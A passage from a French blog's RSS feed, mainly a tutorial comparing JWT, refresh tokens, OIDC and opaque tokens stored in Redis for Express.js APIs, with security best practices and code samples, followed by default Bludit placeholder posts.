&lt;p&gt;&lt;strong&gt;Inconvénients :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Difficile à révoquer.&lt;/li&gt;
&lt;li&gt;Si compromis, le token reste valide jusqu’à expiration.&lt;/li&gt;
&lt;li&gt;Vulnérable si stocké dans &lt;code&gt;localStorage&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;B. JWT + Refresh Token&lt;/h3&gt;
&lt;p&gt;Cette approche utilise deux jetons :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access Token&lt;/strong&gt; (courte durée, ex : 15 minutes)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Refresh Token&lt;/strong&gt; (longue durée, ex : 7 jours)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L’Access Token est stocké en mémoire, le Refresh Token en &lt;strong&gt;cookie HttpOnly + Secure&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Cela permet un renouvellement transparent de session sans redemander le mot de passe.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;C. JWT stocké en Cookie sécurisé&lt;/h3&gt;
&lt;p&gt;Un JWT peut être stocké directement dans un cookie &lt;code&gt;HttpOnly&lt;/code&gt; et &lt;code&gt;Secure&lt;/code&gt;, qui remplace la session traditionnelle.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L’auth se fait automatiquement avec le cookie.&lt;/li&gt;
&lt;li&gt;Le serveur vérifie le JWT sans base de données.&lt;/li&gt;
&lt;li&gt;Idéal pour des applications full web (SSR, Next.js, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;D. OIDC / OAuth2&lt;/h3&gt;
&lt;p&gt;OpenID Connect (OIDC) et OAuth2 sont utilisés pour :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L’authentification via tiers (Google, Microsoft, GitHub…)&lt;/li&gt;
&lt;li&gt;Le Single Sign-On (SSO)&lt;/li&gt;
&lt;li&gt;L’accès interservices sécurisé&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Libs utiles :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/panva/node-oidc-provider"&gt;&lt;code&gt;oidc-provider&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/passport-openidconnect"&gt;&lt;code&gt;passport-openidconnect&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;E. Token Opaque + Redis&lt;/h3&gt;
&lt;p&gt;Le &lt;strong&gt;token opaque&lt;/strong&gt; est un identifiant aléatoire sans signification :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3baf4d90-e95c-46f7-bb1f-3d27a36c6e52&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Il ne contient aucune donnée utilisateur.&lt;br /&gt;
Le serveur stocke l’association dans Redis :&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;SET token:3baf4d90 { "userId": 42, "role": "admin" } EX 900&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;À chaque requête, le serveur consulte Redis pour vérifier la validité du token.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Avantages :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Révocation immédiate (supprimer la clé Redis)&lt;/li&gt;
&lt;li&gt;Aucune donnée exposée au client&lt;/li&gt;
&lt;li&gt;Contrôle total côté serveur&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Inconvénients :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redis devient un point central (stateful)&lt;/li&gt;
&lt;li&gt;Nécessite un accès réseau rapide et fiable&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Comparaison entre JWT et Token Opaque&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Critère&lt;/th&gt;
&lt;th&gt;JWT&lt;/th&gt;
&lt;th&gt;Token Opaque + Redis&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Structure&lt;/td&gt;
&lt;td&gt;Auto-contenu&lt;/td&gt;
&lt;td&gt;Identifiant aléatoire&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stockage&lt;/td&gt;
&lt;td&gt;Côté client&lt;/td&gt;
&lt;td&gt;Côté serveur&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vérification&lt;/td&gt;
&lt;td&gt;Locale (signature)&lt;/td&gt;
&lt;td&gt;Consultation Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Révocation&lt;/td&gt;
&lt;td&gt;Complexe&lt;/td&gt;
&lt;td&gt;Instantanée&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sécurité&lt;/td&gt;
&lt;td&gt;Bonne&lt;/td&gt;
&lt;td&gt;Très élevée&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scalabilité&lt;/td&gt;
&lt;td&gt;Excellente&lt;/td&gt;
&lt;td&gt;Bonne mais centralisée&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Débogage&lt;/td&gt;
&lt;td&gt;Facile (lisible)&lt;/td&gt;
&lt;td&gt;Requiert Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Usage typique&lt;/td&gt;
&lt;td&gt;API publiques, microservices&lt;/td&gt;
&lt;td&gt;API internes, sécurité stricte&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Concept de Stateless vs Stateful&lt;/h2&gt;
&lt;h3&gt;A. Qu’est-ce qu’une API Stateless&lt;/h3&gt;
&lt;p&gt;Une API &lt;strong&gt;stateless&lt;/strong&gt; ne garde aucun état entre les requêtes.
Chaque requête contient toutes les informations nécessaires à son traitement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemple :&lt;/strong&gt;
Un JWT est stateless : il contient toutes les infos (id, rôle, expiration).&lt;br /&gt;
Aucun appel externe n’est nécessaire.&lt;/p&gt;
&lt;h3&gt;B. Qu’est-ce qu’une API Stateful&lt;/h3&gt;
&lt;p&gt;Une API &lt;strong&gt;stateful&lt;/strong&gt; conserve l’état côté serveur (ex : Redis, sessions).&lt;br /&gt;
Les requêtes dépendent d’informations mémorisées sur le serveur.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemple :&lt;/strong&gt;
Un token opaque nécessite de consulter Redis pour savoir à quel utilisateur il correspond.&lt;/p&gt;
&lt;h3&gt;C. Impact dans une architecture microservices&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JWT (stateless)&lt;/strong&gt; : chaque microservice peut vérifier les tokens seul.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redis (stateful)&lt;/strong&gt; : chaque service dépend du store commun.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Conséquence :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le modèle stateful ajoute une dépendance centrale (Redis), réduisant l’autonomie et la résilience.&lt;/li&gt;
&lt;li&gt;En revanche, il permet la révocation immédiate et un contrôle total.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Redis dans la gestion des Tokens&lt;/h2&gt;
&lt;h3&gt;A. Qu’est-ce que Redis&lt;/h3&gt;
&lt;p&gt;Redis est une base clé/valeur &lt;strong&gt;en mémoire&lt;/strong&gt; ultra-rapide, utilisée pour :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;le cache,&lt;/li&gt;
&lt;li&gt;les sessions,&lt;/li&gt;
&lt;li&gt;les files d’attente,&lt;/li&gt;
&lt;li&gt;les compteurs,&lt;/li&gt;
&lt;li&gt;la communication temps réel.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Redis stocke les données directement dans la RAM, ce qui le rend des dizaines de fois plus rapide que les bases de données classiques.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;B. Cas d’usage concrets avec Redis&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cache ultra-rapide&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gestion des sessions et tokens&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File d’attente (queue)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate limiting&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pub/Sub&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stockage temporaire&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Compteurs et statistiques&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;C. Pourquoi Redis est si rapide&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Données en &lt;strong&gt;RAM&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Opérations &lt;strong&gt;atomiques&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Protocole réseau minimaliste&lt;/li&gt;
&lt;li&gt;Mono-thread&lt;/li&gt;
&lt;li&gt;Optimisé pour la latence microseconde&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;D. Intégration Redis avec Express.js&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;npm install redis&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Exemple simple :&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;const { createClient } = require("redis");
const client = createClient();

client.connect();

app.get("/", async (req, res) =&amp;gt; {
  const count = await client.incr("visits");
  res.send(`Visites : ${count}`);
});&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;6. Bonnes pratiques de sécurité 2025&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Risque&lt;/th&gt;
&lt;th&gt;Mesure recommandée&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Token volé&lt;/td&gt;
&lt;td&gt;Durée courte + refresh token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vol cookie&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HttpOnly + Secure + SameSite=Strict&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secret exposé&lt;/td&gt;
&lt;td&gt;Stocker la clé dans &lt;code&gt;.env&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token forgé&lt;/td&gt;
&lt;td&gt;Signature HMAC ou RSA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Révocation&lt;/td&gt;
&lt;td&gt;Gérer une denylist ou Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Environnement HTTP&lt;/td&gt;
&lt;td&gt;Toujours utiliser HTTPS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vérification&lt;/td&gt;
&lt;td&gt;Toujours vérifier signature et expiration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Exemples de code Express.js&lt;/h2&gt;
&lt;h3&gt;JWT avec JOSE&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;import { SignJWT, jwtVerify } from "jose";

const secret = new TextEncoder().encode(process.env.JWT_SECRET);

export async function signToken(payload, expiresIn = "15m") {
  return await new SignJWT(payload)
    .setProtectedHeader({ alg: "HS256" })
    .setIssuedAt()
    .setExpirationTime(expiresIn)
    .sign(secret);
}

export async function verifyToken(token) {
  const { payload } = await jwtVerify(token, secret);
  return payload;
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;JWT + Refresh Token en Cookie HttpOnly&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;router.post("/login", async (req, res) =&amp;gt; {
  const accessToken = await signToken({ sub: user.id }, "15m");
  const refreshToken = await signToken({ sub: user.id, type: "refresh" }, "7d");

  res.cookie("refresh_token", refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: "Strict",
    maxAge: 7 * 24 * 60 * 60 * 1000,
  });

  res.json({ accessToken });
});&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Token Opaque + Redis&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-js"&gt;const { v4: uuidv4 } = require("uuid");
const redis = require("../utils/redis");

exports.login = (req, res) =&amp;gt; {
  User.findOne({ email: req.body.email })
    .then((user) =&amp;gt; {
      if (!user) return res.status(401).json({ error: "Utilisateur introuvable" });
      const token = uuidv4();
      redis.set(token, JSON.stringify({ id: user._id }), { EX: 900 });
      res.json({ token });
    })
    .catch((err) =&amp;gt; res.status(500).json({ error: "Erreur serveur" }));
};&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;Fin du document.&lt;/em&gt;&lt;/p&gt;</description>
      <pubDate>Sun, 26 Oct 2025 14:19:05 +0100</pubDate>
      <guid isPermaLink="false">3c183687bd7e4a6468408df0ae5463e3</guid>
    </item>
    <item>
      <title>Créez votre propre contenu</title>
      <link>https://www.oliv134.net/creer-votre-propre-contenu</link>
      <image/>
      <description>&lt;p&gt;Commencez à écrire votre propre contenu ou modifiez celui-ci pour l’adapter à vos besoins. Pour créer, modifier ou supprimer du contenu, vous devez vous connecter au &lt;a href="./admin"&gt;panneau d’administration&lt;/a&gt; avec le nom d’utilisateur &lt;code&gt;admin&lt;/code&gt; et le mot de passe que vous avez défini lors du processus d'installation.&lt;/p&gt;</description>
      <pubDate>Sun, 26 Oct 2025 12:29:28 +0100</pubDate>
      <guid isPermaLink="false">e33b2efbd84b9bc3abeacb9226b9ac23</guid>
    </item>
    <item>
      <title>Configurez votre nouveau site</title>
      <link>https://www.oliv134.net/configurez-votre-nouveau-site</link>
      <image/>
      <description>&lt;p&gt;Mettez à jour les paramètres de votre site à partir du &lt;a href="./admin"&gt;panneau d’administration&lt;/a&gt;, vous pouvez modifier le titre, la description et les réseaux sociaux dans les &lt;a href="./admin/settings"&gt;Paramètres généraux&lt;/a&gt;.&lt;/p&gt;</description>
      <pubDate>Sun, 26 Oct 2025 12:28:28 +0100</pubDate>
      <guid isPermaLink="false">b5ca3cbe25a70253ff852b5f20601d7f</guid>
    </item>
    <item>
      <title>Suivez Bludit</title>
      <link>https://www.oliv134.net/suivez-bludit</link>
      <image/>
      <description>&lt;p&gt;Restez informé sur l’actualité, les nouvelles versions, les nouveaux thèmes ou les nouveaux plugins sur nos réseaux sociaux &lt;a href="https://www.facebook.com/bluditcms/" target="_blank"&gt;Facebook&lt;/a&gt;, &lt;a href="https://www.twitter.com/bludit/" target="_blank"&gt;Twitter&lt;/a&gt; et &lt;a href="https://www.youtube.com/c/Bluditcms" target="_blank"&gt;YouTube&lt;/a&gt; ou visitez notre &lt;a href="https://blog.bludit.com" target="_blank"&gt;Blog&lt;/a&gt;.&lt;/p&gt;</description>
      <pubDate>Sun, 26 Oct 2025 12:27:28 +0100</pubDate>
      <guid isPermaLink="false">a3318adca9c1dfcfe918a27c96601651</guid>
    </item>
  </channel>
</rss>
